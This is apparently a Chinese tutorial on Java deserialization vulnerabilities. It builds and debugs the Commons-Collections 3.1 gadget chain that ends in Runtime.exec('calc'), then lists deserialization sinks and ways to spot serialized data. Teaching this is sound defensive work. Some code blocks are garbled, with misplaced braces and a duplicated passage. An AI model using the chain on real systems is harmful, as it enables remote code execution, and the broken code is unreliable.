您当前的位置:首页 > 电脑百科 > 程序开发 > 语言 > JAVA

详解Java反序列化漏洞

时间:2021-06-11 10:09:08  来源:今日头条  作者:星云博创

0×01:序列化基本概念

  • 序列化:将对象写入IO流中
  • 反序列化:从IO流中恢复对象
  • 意义:序列化机制允许将实现序列化的JAVA对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。

0×02:Java中的反射机制

1. 反射机制的作用: 通过java语言中的反射机制可以操作字节码文件(可以读和修改字节码文件)

2. 反射机制的相关类在哪个包下java.lang.reflect.*;

3. 反射机制的相关类有哪些:

java.lang.Class 代表字节码文件,代表整个类

java.lang.reflect.Method 代表字节码中的方法字节码,代表类中的方法
java.lang.reflect.Constructor 代表字节码中的构造方法字节码,代表类中的构造方法java.lang.reflect.Field 代表字节码中的属性字节码,代表类中的属性。

我们先看最主要的部分——执行系统命令

public class N0Tai1{
    public static void main(String[] args) throws Exception{
} }
Runtime calc = Runtime.getRuntime(); calc.exec("calc"); //Runtime.getRuntime().calc.exec("calc")

相应的反射代码如下:

public class N0Tai1{
    public static void main(String[] args) throws Exception{
} }
Class c = Class.forName("java.lang.Runtime"); //c代表Runtime.class字节码文件,c代表Runtime类型
Object obj = c.getMethod("getRuntime", null).invoke(c,null);
/*
* 通过getMethod对getRuntime这个方法进行实例化
* getRuntime并不需要传参,所以传参类型为null,后面的invoke实现getRuntime
* */
String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
/*
* getMethod对exec这个方法进行实例化
* exec需要传一个String类型的字符串或者String类型的数组,然后invoke实现exec方法 * */

0×03:序列化的实现方式

序列化概述

如果需要将某个对象保存到磁盘上或者通过网络传输,那么这个类应该实现 Serializable 接口或者Externalizable接口之一。

使用到JDK中关键类 :

ObjectOutputStream (对象输出流) 和 ObjectInputStream (对象输入流)ObjectOutputStream 类中:通过使用 writeObject (Object object) 方法,将对象以二进制格式进行写入。

ObjectInputStream类中:

通过使用 readObject() 方法,从输入流中读取二进制流,转换成对象。

Transient关键字序列化的时候不会序列化Transient关键字修饰的变量,这个关键字不能修饰类和方法Static

静态变量也不会被序列化

serialVersionUID

这里是指序列化的版本号,版本不一致会导致抛出错误,并且拒绝载入序列化与反序列化样例:

//Person.java
package com.n0tai1.java.serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream; import com.n0tai1.java.serialize.Student;
public class Person{
    public static void main(String[] args) throws IOException {
Student s = new Student(19,"ZAAAA"); System.out.println(s.Students()); System.out.println(s.toString()); ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\flag.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
//Student.java
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class Student implements Serializable {
    private static final long serialVersionUID = 5407396955208161433L;
    private int age;
     private transient String name;
    public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年龄: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年龄: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException 
{
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
现在已经知道如何序列化和反序列化了,我们把刚刚写的弹计算器代码序列化处理一下package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
    public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}private transient String name;
    public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年龄: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年龄: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

现在已经知道如何序列化和反序列化了,我们把刚刚写的弹计算器代码序列化处理一下

package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
    public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class ExecTest implements Serializable {
    public void ExecTest() throws Exception{
} }
Class c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime", null).invoke(null); String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.ExecTest;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\serialize.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

但是这样测试后发现,反序列操作后,不能弹出计算器吗,因为Runtime类并没有实现 Serializable接口

commons-collections3.1源码分析

漏洞组件
:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

参考链接
:https://security.tencent.com/index.php/blog/msg/97

我们直接入正题

详解Java反序列化漏洞

 

我们可以通过

Map tansformedMap = TransformedMap.decorate(map,keyTransformer,valueTransformer)

来获得一个TransformedMap类的实例进而调用到TransformedMap的构造方法

详解Java反序列化漏洞

 

这里会调用到super(map),会调用到基类的有参构造

详解Java反序列化漏洞

 

继续调用基类有参构造

详解Java反序列化漏洞

 

TransformedMap.decorate会对map类的数据结构进行转化

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。


第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法

我们看今天的第一个主角ChainedTransformer.class,我们可以创建一个Transformer类型的数组,构造出ChainedTransformer,当触发的时候ChainedTransformer可以将闲散的数据组合

详解Java反序列化漏洞

 

我们看今天的第二个主角InvokerTransformer.class,我们可以给创建一个Transformer类型的数组, 然后对InvokerTransformer进行实例化

详解Java反序列化漏洞

 

可以看到:

InvokerTransformer的transform中出现了 getMethod().invoke() 这种形式的代码,我们 如果可以控制传参,就可以RCE

那我们如何调用到InvokerTransformer和ChainedTransformer的transform呢?

这里我们需要用到:


AbstractInputCheckedMapDecorator下MapEntry下的setValue

详解Java反序列化漏洞

 


详解Java反序列化漏洞

 


详解Java反序列化漏洞

 

只要让iTransformers[i]为InvokerTransformer这个类的对象就可以调用到InvokerTransformer的transform

那我们如何触发呢? 在进行反序列化的时候我们会调用ObjectInputStream类的readObject()方法,如果反序列化类被重写

readObject(),那在反序列化的时候Java会优先调用重写的readObject()方法,这样就有了入口点

Payload分析

正文之前,在这之前说下我对getMethod和invoke这两个方法的理解

getMethod

返回一个Method对象,getMethod获取的是某个类下的某个方法,第一个参数是方法名,第二个参数 要看这个方法需要什么参数,如果需要字符串,那我们就写String.class,如果不需要传参,则用null即可

invoke

调用包装在当前Method对象中的方法 ,第一个参数是obj,也就是实例化的对象,第二个参数是方法(这里的方法是指getMethod第一个参数对应的方法)需要的参数

分析

我们直接拿ysoserial中的cc1的链子来对照着写一个(这里的代码借鉴了一位大佬的...但是网址忘记了....)

import org.Apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer; import java.util.HashMap;
import java.util.Map;
public class test{
    public static void main(String[] args)
    {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new
Object[] { "calc" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);
} }
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");

我们直接IDEA拉出来打个断点开始疯狂debug

详解Java反序列化漏洞

 

先跟这个实例化对象,看看发生了什么大事件

new ConstantTransformer()部分

详解Java反序列化漏洞

 

这里传进来一个Runtime.class字节码文件,然后赋值给了被private和final修饰的iConstant变量,我们看一下这个变量

详解Java反序列化漏洞

 

new InvokerTransformer()部分

继续往下跟,跟到InvokerTranformer类的构造方法

详解Java反序列化漏洞

 


详解Java反序列化漏洞

 

第一个参数是getMethod的作用是获取对象的方法

第二个参数是两个字节码文件String.class和Class.class

第三个参数是Runtime.class下的静态方法

详解Java反序列化漏洞

 

继续往下debug,依然是InvokerTransformer

详解Java反序列化漏洞

 

第一个参数是invoke的作用是让这个方法执行

第二个参数是两个字节码文件Object.class和Object.class

第三个参数是一个Object类型的数组,为空

详解Java反序列化漏洞

 

继续往下跟

详解Java反序列化漏洞

 

第一个参数是exec的作用是执行系统命令,这个方法是Runtime.class下的

第二个参数是字节码文件String.class

第三个参数是Object类型的数组,里面只有一个元素calc(这里就是调用的地方)

new ChainedTransformer部分

详解Java反序列化漏洞

 

这里把这个有四个对象的数组传入了ChainedTransformer中的有参构造方法处理

详解Java反序列化漏洞

 

赋值给了iTransformers

new HashMap()部分

详解Java反序列化漏洞

 

这里定义了一个底层为哈希表的数组,然后用put方法添加了key和value

TransformedMap.decorate静态方法部分

详解Java反序列化漏洞

 

在返回值中new了一个TransformedMap,调用了自身的有参构造方法

第一个参数接受的是我们put方法写入map数组的key和value

第二个参数接受的是null

第三个参数接受的是transformerChain,也就是4个对象组成的数组

详解Java反序列化漏洞

 

调用了父类的构造方法,并且传了一个map

详解Java反序列化漏洞

 

继续调用父类的构造方法,仍传的是map

详解Java反序列化漏洞

 

继续往下

详解Java反序列化漏洞

 

Map.Entry学习和详解

将output这个map类型的数组强转到Map.Entry类型的数组中,并且用next获取一组key和value

然后后面调用setValue

详解Java反序列化漏洞

 

调用了checkSetValue

详解Java反序列化漏洞

 

调用transform

详解Java反序列化漏洞

 

这里的就开始遍历我们之前写入的4个实例化对象,我们来看最终触发漏洞的关键地方

第一次遍历

详解Java反序列化漏洞

 

返回的是Runtime.class
第二次遍历

详解Java反序列化漏洞

 

给cls了一个Runtime.class字节码文件,cls现在是Runtime类型,然后getMethod获得一个方法对象, 方法名为getMethod,指定的传参类型为String和Object,之后调用invoke实现了getMethod方法并且 传参是getRuntime

Class cls = Class.forName("java.lang.Runtime")
Method method = cls.getMethod("getMethod",new Class[] { String.class, Class[].class }).invoke(cls,"getRuntime");
//等价于
cls.getMethod("getRuntime",null).invoke(cls.null);
//等价于
cls.getMethod("getRuntime",null);

第三次遍历

详解Java反序列化漏洞

 

getMethod获得一个方法对象,方法名为invoke,指定的传参类型为Object,然后调用invoke方法实现了invoke方法,传参为null

cls.getMethod("invoke",new Class[] { Object.class, Object[].class }).invoke(cls,null);
//等价于
cls.invoke(null,null);

第四次遍历

详解Java反序列化漏洞

 

getMethod获得一个方法对象,方法名为exec,指定传参类型为String,然后通过invoke方法实现了exec方法,传参为calc

cls.getMethod("exec",new Class[] { String.class }).invoke(cls,'calc');//等价于
cls.exec("calc");

总结一下思路:

InvokerTransformer为漏洞触发处ChianedTransformer为一个容器,作用是帮我们把InvokerTransformer组成一个有序的数组,让其有序遍历

Transformer为一个接口类,这里写法单纯是多态而已....

1.利用setValue触发
AbstractInputCheckedMapDecorator下的setValue进而触发InvokerTransformer的transform这个漏洞触发点

2.第二次遍历生成的相当于一个未执行的Runtime.getRuntime(),第三次遍历相当于将Runtime.getRuntime()执行,第四次循环调用了runtime下的方法exec

0×04:如何发现Java反序列化漏洞

  • 白盒

可以检索源码中对反序列化函数的调用,例如:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMApper.readValue
JSON.parseobject

确定输入点后,检查class path中是否有危险库,例如上文分析的Apache Commons Collections,若有危险库直接用ysoserial梭哈

弱无危险库,则检查是否有涉及代码执行的部分,查看是否有代码编写上的bug

  • 黑盒

我们可以通过抓包这种手段来检测是否有可控输入点,序列化数据通常以ACED开头,之后两个字节为版本号,一般情况是0005,某些情况下可能是更高的数字

如果不确定字符串是否为序列化数据,我们可以利用大牛写好的工具SerializationDumper来进行检测,用法如下:

java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400 124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e65 72616c207374616666740009e59198e5b7a5e794b2

关于摘星实验室:

摘星实验室是星云博创旗下专职负责技术研究的安全实验室,成立于2020年5月,团队核心成员均具备多年安全研究从业经验。实验室主要致力于攻防技术人员培养、攻防技术研究、安全领域前瞻性技术研究,为公司产品研发、安全项目及客户服务提供强有力的支撑。在技术研究方面,摘星实验室主攻漏洞挖掘及新型攻击,并将重点关注攻击溯源与黑客行为分析;与此同时,实验室还将持续关注对工业互联网领域的技术研究。

实验室成立以来,已通过CNVD/CNNVD累计发布安全漏洞300余个,是CNVD和CNNVD的漏洞挖掘支撑单位,在安全漏洞预警、事件通报处置等方面均得到了行业权威机构的认可。



Tags:Java   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
一、Redis使用过程中一些小的注意点1、不要把Redis当成数据库来使用二、Arrays.asList常见失误需求:把数组转成list集合去处理。方法:Arrays.asList 或者 Java8的stream流式处...【详细内容】
2021-12-27  Tags: Java  点击:(3)  评论:(0)  加入收藏
文章目录 如何理解面向对象编程? JDK 和 JRE 有什么区别? 如何理解Java中封装,继承、多态特性? 如何理解Java中的字节码对象? 你是如何理解Java中的泛型的? 说说泛型应用...【详细内容】
2021-12-24  Tags: Java  点击:(5)  评论:(0)  加入收藏
1、通过条件判断给变量赋值布尔值的正确姿势// badif (a === 'a') { b = true} else { b = false}// goodb = a === 'a'2、在if中判断数组长度不为零...【详细内容】
2021-12-24  Tags: Java  点击:(5)  评论:(0)  加入收藏
Java与Lua相互调用案例比较少,因此项目使用需要做详细的性能测试,本内容只做粗略测试。目前已完成初版Lua-Java调用框架开发,后期有时间准备把框架进行抽象,并开源出来,感兴趣的...【详细内容】
2021-12-23  Tags: Java  点击:(10)  评论:(0)  加入收藏
传统游戏项目一般使用TCP协议进行通信,得益于它的稳定和可靠,不过在网络不稳定的情况下,会出现丢包严重。不过近期有不少基于UDP的应用层协议,声称对UDP的不可靠进行了改造,这意...【详细内容】
2021-12-23  Tags: Java  点击:(11)  评论:(0)  加入收藏
文章目录1、Quartz1.1 引入依赖<dependency> <groupId>org.quartz-scheduler</groupId> <artifactId>quartz</artifactId> <version>2.3.2</version></dependency>...【详细内容】
2021-12-22  Tags: Java  点击:(11)  评论:(0)  加入收藏
Java从版本5开始,在 java.util.concurrent.locks包内给我们提供了除了synchronized关键字以外的几个新的锁功能的实现,ReentrantLock就是其中的一个。但是这并不意味着我们可...【详细内容】
2021-12-17  Tags: Java  点击:(10)  评论:(0)  加入收藏
一、概述final是Java关键字中最常见之一,表示“最终的,不可更改”之意,在Java中也正是这个意思。有final修饰的内容,就会变得与众不同,它们会变成终极存在,其内容成为固定的存在。...【详细内容】
2021-12-15  Tags: Java  点击:(14)  评论:(0)  加入收藏
1、问题描述关于java中的日志管理logback,去年写过关于logback介绍的文章,这次项目中又优化了下,记录下,希望能帮到需要的朋友。2、解决方案这次其实是碰到了一个问题,一般的情况...【详细内容】
2021-12-15  Tags: Java  点击:(17)  评论:(0)  加入收藏
给新手朋友分享我收藏的前端必备javascript已经写好的封装好的方法函数,直接可用。方法函数总计:41个;以下给大家介绍有35个,需要整体文档的朋友私信我,1、输入一个值,将其返回数...【详细内容】
2021-12-15  Tags: Java  点击:(19)  评论:(0)  加入收藏
▌简易百科推荐
一、Redis使用过程中一些小的注意点1、不要把Redis当成数据库来使用二、Arrays.asList常见失误需求:把数组转成list集合去处理。方法:Arrays.asList 或者 Java8的stream流式处...【详细内容】
2021-12-27  CF07    Tags:Java   点击:(3)  评论:(0)  加入收藏
文章目录 如何理解面向对象编程? JDK 和 JRE 有什么区别? 如何理解Java中封装,继承、多态特性? 如何理解Java中的字节码对象? 你是如何理解Java中的泛型的? 说说泛型应用...【详细内容】
2021-12-24  Java架构师之路    Tags:JAVA   点击:(5)  评论:(0)  加入收藏
大家好!我是老码农,一个喜欢技术、爱分享的同学,从今天开始和大家持续分享JVM调优方面的经验。JVM调优是个大话题,涉及的知识点很庞大 Java内存模型 垃圾回收机制 各种工具使用 ...【详细内容】
2021-12-23  小码匠和老码农    Tags:JVM调优   点击:(11)  评论:(0)  加入收藏
前言JDBC访问Postgresql的jsonb类型字段当然可以使用Postgresql jdbc驱动中提供的PGobject,但是这样在需要兼容多种数据库的系统开发中显得不那么通用,需要特殊处理。本文介绍...【详细内容】
2021-12-23  dingle    Tags:JDBC   点击:(12)  评论:(0)  加入收藏
Java与Lua相互调用案例比较少,因此项目使用需要做详细的性能测试,本内容只做粗略测试。目前已完成初版Lua-Java调用框架开发,后期有时间准备把框架进行抽象,并开源出来,感兴趣的...【详细内容】
2021-12-23  JAVA小白    Tags:Java   点击:(10)  评论:(0)  加入收藏
Java从版本5开始,在 java.util.concurrent.locks包内给我们提供了除了synchronized关键字以外的几个新的锁功能的实现,ReentrantLock就是其中的一个。但是这并不意味着我们可...【详细内容】
2021-12-17  小西学JAVA    Tags:JAVA并发   点击:(10)  评论:(0)  加入收藏
一、概述final是Java关键字中最常见之一,表示“最终的,不可更改”之意,在Java中也正是这个意思。有final修饰的内容,就会变得与众不同,它们会变成终极存在,其内容成为固定的存在。...【详细内容】
2021-12-15  唯一浩哥    Tags:Java基础   点击:(14)  评论:(0)  加入收藏
1、问题描述关于java中的日志管理logback,去年写过关于logback介绍的文章,这次项目中又优化了下,记录下,希望能帮到需要的朋友。2、解决方案这次其实是碰到了一个问题,一般的情况...【详细内容】
2021-12-15  软件老王    Tags:logback   点击:(17)  评论:(0)  加入收藏
本篇文章我们以AtomicInteger为例子,主要讲解下CAS(Compare And Swap)功能是如何在AtomicInteger中使用的,以及提供CAS功能的Unsafe对象。我们先从一个例子开始吧。假设现在我们...【详细内容】
2021-12-14  小西学JAVA    Tags:JAVA   点击:(21)  评论:(0)  加入收藏
一、概述观察者模式,又可以称之为发布-订阅模式,观察者,顾名思义,就是一个监听者,类似监听器的存在,一旦被观察/监听的目标发生的情况,就会被监听者发现,这么想来目标发生情况到观察...【详细内容】
2021-12-13  唯一浩哥    Tags:Java   点击:(16)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条